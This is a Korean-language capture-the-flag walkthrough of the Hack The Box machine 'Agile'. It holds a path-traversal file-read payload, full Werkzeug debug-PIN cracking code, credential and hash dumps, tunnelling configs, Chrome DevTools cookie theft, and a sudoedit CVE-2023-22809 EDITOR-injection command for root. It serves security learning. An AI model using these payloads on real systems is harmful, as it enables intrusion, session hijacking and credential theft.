머신을 Spawn하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.
대상에서 오픈된것으로 확인되는 포트는 다른 머신과 동일하게 22/tcp
, 80/tcp
로 확인으며, superpass.htb
도메인으로 확인되었다.
naabu -host 10.10.11.203 -p - --nmap-cli "nmap -sV"
웹 서비스를 확인하기 위해 80/tcp에 접근하니 다음과 같이 유저의 패스워드를 취급하는 페이지로 확인됐으며, 자유롭게 회원가입을 할 수 있으며, 상단 메뉴에서 vault
탭을 확인할 수 있었다.
패스워드를 추가하고 sqli, xss, ssti등을 테스트했으나 유용한 정보는 받을 수 없었다.
위 이미지에서 Export 기능을 요청하면 등록된 패스워드가 없으면 에러를 발생하여 Add a password 버튼을 통해 패스워드를 등록 후 Export하면 아래와 같은 HTTP Request를 확인할 수 있다.
GET /download?fn=juicemon_export_5743e7d3c7.csv HTTP/1.1
Host: superpass.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: __wzdb5fb4b932ecef4164ced=1683691053|10404aab1280; remember_token=9|99898a501e62f78c68e3f8eb335a8b466bdd83d261f09e998fab7938f419b1ed3d316acc54795c216b61d26b8f16cf14a72a572deced4715048c67a8e3e1f90d; session=.eJwlzkEOAjEIAMC_cPZAoS2wn9nQQqPXXfdk_LsaPzCZF-zryPMO2_O48gb7I2ADLVyKyPLUmGLKMoK1ZfSu1kR8zhBDUjULlGlCoYlZWIkGBS1H9tWnt95qY8rhgZQNK9ZJS6X6WEO1dPxJhQpL2FAetHoIfCPXmcd_Y_D-AH_DLqM.ZFs3PQ.ELkdYfmcTIdDMAxiRq5znrahom0
Connection: close
등록된 패스워드 리스트를 csv형태로 다운로드할 수 있는 기능이다. 여기서 fn
파라미터에서 LFI
가 가능한지 테스트를 위해 /etc/passwd를 확인하려했으나 에러 페이지가 확인됐다.
여기서 웹 서비스는 Flask
를 통해 구동중이며 debug 기능이 설정되어있는것을 파악할 수 있으며, Web Root 경로는 /app/app/superpass/
로 예상된다.
에러 부분을 자세히 보면 download() 함수에서 에러가 발생한 것을 확인할 수 있으며, 다운로드 경로는 /tmp/
경로로 시작되어 결과적으로 /etc/passwd 요청은 /tmp/etc/passwd가 되어 FileNotFound 에러가 발생한다.
위 내용을 기반으로 ../etc/passwd
를 요청하니 정상적으로 LFI를 진행할 수 있게됐다.
또 에러 메세지에서 확인한 Web Root 디렉터리 경로에서 app.py를 다운로드하니 정상적으로 다운로드된다.
python 코드 내에서 import 구문을 통해 확인되는 모든 python 파일을 다운로드한다.
전체 코드를 확인하면서 하드코딩된 민감 정보나 취약점으로 악용될 부분을 찾아봤으나 유용한 정보는 찾을 수 없었어 여러 시도를 하며 시간을 보내다 결국 포럼을 통해 Flask debug console
을 통해 콘솔 권한을 획득해야되는것을 알 수 있었다.
Flask에서 아래와 같이 debug 모드를 활성화 시키면 app 구동 시 PIN 번호가 출력되는데, 이 PIN 번호를 통해 에러 페이지에서 console에 접근할 수 있게된다.
app.run(debug=True)
이번 문제의 핵심은 PIN을 생성하는 로직을 분석하여 LFI를 통해 PIN 생성시 전달되는 정보를 파악해 역으로 PIN을 만들어 console에 접근하는 것이다.
참고
https://github.com/wdahlenburg/werkzeug-debug-console-bypass
https://www.daehee.com/werkzeug-console-pin-exploit/
https://youtu.be/jwBRgaIRdgs
https://www.bengrewell.com/cracking-flask-werkzeug-console-pin/
결과적으로 Cracking Werkzeug Debugger Console Pin 블로그를 통해 PIN을 생성하는데 성공했다.
PIN을 생성하기위해 LFI를 통해 다음과 같은 정보를 파악하였다.
/proc/self/environ
: flask를 구동중인 유저명을 확인
/proc/net/arp
: MAC 주소를 알아내기 위해 네트워크 인터페이스 확인
/sys/class/net/[INTERFACE]/address
: MAC 주소를 확인
/etc/machine-id
: machine-id 확인
/proc/self/cgroup
: machine-id와 조합되는 서비스명 확인
여러 블로그와 깃허브를 통해 PIN을 생성하기 위해 작성한 코드는 다음과 같다.
import hashlib
import itertools
from itertools import chain
def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.md5()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
h = hashlib.sha1()
crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)
def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
probably_public_bits = [
username,
modname,
appname,
flaskapp_path ]
private_bits = [
node_uuid,
machine_id ]
h = hasher
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
if __name__ == '__main__':
usernames = ['www-data']
modnames = ['flask.app', 'werkzeug.debug']
appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
nodeuuids = ['345052411074']
machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']
# Generate all possible combinations of values
combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)
# Iterate over the combinations and call the crack() function for each one
for combo in combinations:
username, modname, appname, flaskpath, nodeuuid, machineid = combo
print('==========================================================================')
crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
print(f'{combo}')
print('==========================================================================')
확인된 PIN을 debug 페이지에서 입력하니 아래와 같이 python interpreter가 생성되는것을 확인할 수 있다.
바로 콘솔에서 python3 리버스 커넥션 코드를 삽입해 쉘을 획득한다.
쉘을 획득하고 시스템에서 다양한 경로를 확인했으며 /app/config_prod.json
파일의 내용을 통해 mysql 접근 계정정보를 확인할 수 있었다.
{
"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"
}
www-data
의 쉘에서 mysql에 접근하여 superpass
DB의 passwords
, users
테이블에서 다음과 같은 정보를 확인할 수 잇었다.
mysql> SELECT * FROM passwords;
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
mysql> SELECT * FROM users;
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| id | username | hashed_password |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| 1 | 0xdf | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. |
| 2 | corum | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 |
| 9 | juicemon | $6$rounds=200000$/i4tLq/avmFNZvUU$qyzfg7r0QPtLYo3GLh66mozkk32Y9IaJMQAhlLfRmKulXpJ/AiJbEl7.mdHyeXvl4XIKaaX8R6OpSlIHBL5.Q0 |
| 10 | bob | $6$rounds=200000$OmIMA/IhnarnqdCa$lsbwsSfDkhhjpML3H1eTdlVNZSObiEZVmID3/j/aKf9AbFxPizlF.PlxxI6EuKVJ2WfOM24NHZStAR2e5Oimw. |
| 11 | alice | $6$rounds=200000$wZWhPSdiNtKsjgRu$Qanut5j4OnOSD73K2.CYyaD3QGFnKhVs3ht0GZGFrONA07gg/Brf7v8r76y72tDSAgpH3/a4iMrzxhsIb1sQd/ |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
passwords 테이블에서 확인된 corum:5db7caa1d13cc37c9fc2
으로 SSH 접근이 가능했다.
users 테이블에서 확인된 패시워드 해시는 아래와 같이 복호화가 가능했다.
alice:alice
bob:bob
SuperPass 페이지에서 두 계정으로 로그인해 패스워드 정보를 확인해 보았으나 등록된 내용이 없었다.
다시 corum 계정의 쉘로 돌아와 linpeas
를 통해 다음과 같은 정보를 확인할 수 있었다.
# /etc/nginx/sites-available/superpass-test.nginx
server {
listen 127.0.0.1:80;
server_name test.superpass.htb;
location /static {
alias /app/app-testing/superpass/static;
expires 365d;
}
location / {
include uwsgi_params;
proxy_pass http://127.0.0.1:5555;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Protocol $scheme;
}
}
공격자 PC에서 test.superpass.htb
에 접근하니 접근 불가능했다. 초반에 포트 스캔 결과에서도 확인할 수 있는것처럼 5555는 외부에 오픈되어있지 않고 로컬 서비스로 열려있다.
5555/tcp에 접근하기위해 frp
를 사용해서 리버스 프록시를 설정한다.
# 공격자
frps -c frps.ini
# frps.ini
[common]
bind_port=7000
# corum shell
frpc -c frpc.ini
# frpc.ini
[common]
server_addr = 10.10.14.3
server_port = 7000
[5555]
type = tcp
local_ip = 127.0.0.1
local_port = 5555
remote_port = 5555
동일한 SuperPass 페이지이지만 Dev환경으로 예상되며 Prod환경에서 Flask PIN을 통해 콘솔을 얻어 쉘을 얻어보려했으나 디버그 페이지가 노출되지 않으며 확인해보니 LFI를 통해 탈취했던 app.py에서 다음과 같이 Dev환경은 디버그 모드가 활성화되어있지 않다.
5555/tcp는 runner
계정으로 돌고있어 해당 계정 탈취를 통해 무엇인가 진행할 수 있을줄 알았으나 불가능했다.
def dev():
configure()
app.run(port=5555)
다시 linpeas 결과를 확인하다가 runner 계정으로 chrome이 구동중인것을 확인할 수 있었으며, remote-debugging-port(41829/tcp)가 열려있는것을 확인할 수 있다.
/opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=141416 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1683699250724795 --launch-time-ticks=153831443282 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,7620526033888797268,8111020979484510525,131072 --disable-features=PaintHolding
예전에 sliver의 Cursed Kit을 사용해본 경험이 있어 chrome의 세션쿠키를 탈취할 수 있을 것으로 예상된다.
sliver를 통해 implant를 생성하여 Cursed Kit을 사용하면 쉽겠지만 어떤 방식으로 로컬 Chrome의 쿠키 정보를 확인할 수 있는지 리서치해보니, 다음과 같은 요청을 통해 Chrome devtools정보를 확인할 수 있었다.
# corum shell
curl http://127.0.0.1:[DEBUG-PORT]/json
디버거 URL이 웹 소켓으로 열려있는것을 확인했으며, 바로 frp을 통해 공격자 PC로 포워딩했고, wscat
을 통해 Chrome DevTools Protocol에 요청을 전달할 수 있었다.
wscat -c ws://127.0.0.1:41829/devtools/page/64C14306EF0FB3AAE4B59A00B8AB9CAF
탈취한 쿠키 정보를 자세히 보면 다음과 같이 test.superpass.htb
의 remember_token
, session
쿠키를 확인할 수 있다.
{
"id": 1,
"result": {
"cookies": [
{
"name": "remember_token",
"value": "1|120baad93f7f11a14c2fb36e21886bd92994f828473f8c1d47200c71e36e0c3c510d0558851c89a5b7986e5f0d9449c32a7a334b270891b5b78a92ac01ac48d0",
"domain": "test.superpass.htb",
"path": "/",
"expires": 1715389744.103995,
"size": 144,
"httpOnly": true,
"secure": false,
"session": false,
"priority": "Medium",
"sameParty": false,
"sourceScheme": "NonSecure",
"sourcePort": 80
},
{
"name": "session",
"value": ".eJwlzjkOwjAQAMC_uKbYy2snn0HeS9AmpEL8HSTmBfNu9zryfLT9dVx5a_dntL1x6FxEI2cX1lATrF6KSgYjJDcv24LSRQu2bqQwPXGymkPMEIMAjpDRO6DjcqqZqoOjWBxRQYEsmXHgxCUhsNzTRhh2kvaLXGce_w22zxef3y7n.ZF2RsA.fc3T1XUXgdQ5N_4hKp74a4LgNPQ",
"domain": "test.superpass.htb",
"path": "/",
"expires": -1,
"size": 215,
"httpOnly": true,
"secure": false,
"session": true,
"priority": "Medium",
"sameParty": false,
"sourceScheme": "NonSecure",
"sourcePort": 80
}
]
}
}
test.superpass.htb는 위에서 확인한것처럼 5555/tcp이며 frp로 포워딩해놔서 공격자 PC에서 접근이 가능하다.
공격자 PC 브라우저에서 탈취한 쿠키를 삽입하니 로그인이 가능했고 다음과 같은 vault 정보를 확인할 수 있었다.
탈취한 정보를 기반으로 edwards
계정으로 SSH접근이 가능했고 sudo 권한을 확인하니 다음과 같이 dev_admin
계정으로 sudoedit
를 실행 할 수 있었다.
sudoedit에는 최근 공개된 CVE-2023-22809 취약점을 통해 LPE가 가능하다.
linpeas를 통해 root권한으로 구동중인 dev_admin의 파일을 찾아보았으나 발견되지 못했고, pspy를 통해 모니터링해보니 cron을 통해 /bin/bash -c /app/venv/bin/activate
명령이 주기적으로 실행되는 것을 확인했다.
해당 파일은 dev_admin 그룹이 지정되어있는 쉘 스크립트 파일이다.
sudoedit 취약점으로 avtivate 파일을 vim으로 열어 최상단에 다음과 같은 내용을 추가하였다.
EDITOR="vim -- /app/venv/bin/activate" sudo -u dev_admin sudoedit /app/config_test.json
root 권한으로 동작하는 activate 스크립트에 /etc/sudoers
파일을 내 edwards 계정의 sudo 권한을 ALL로 변경하는 코드이다.
시간이 지나고 edwards 계정의 sudo 권한이 ALL로 변경된것을 볼 수 있었다.
sudo su
명령으로 root 계정으로 전환하여 권한 상승 후 crontab을 확인하니 pspy로 확인된 것처럼 매 분마다 avtivate 스크립트가 실행되는 스케쥴을 확인할 수 있었다.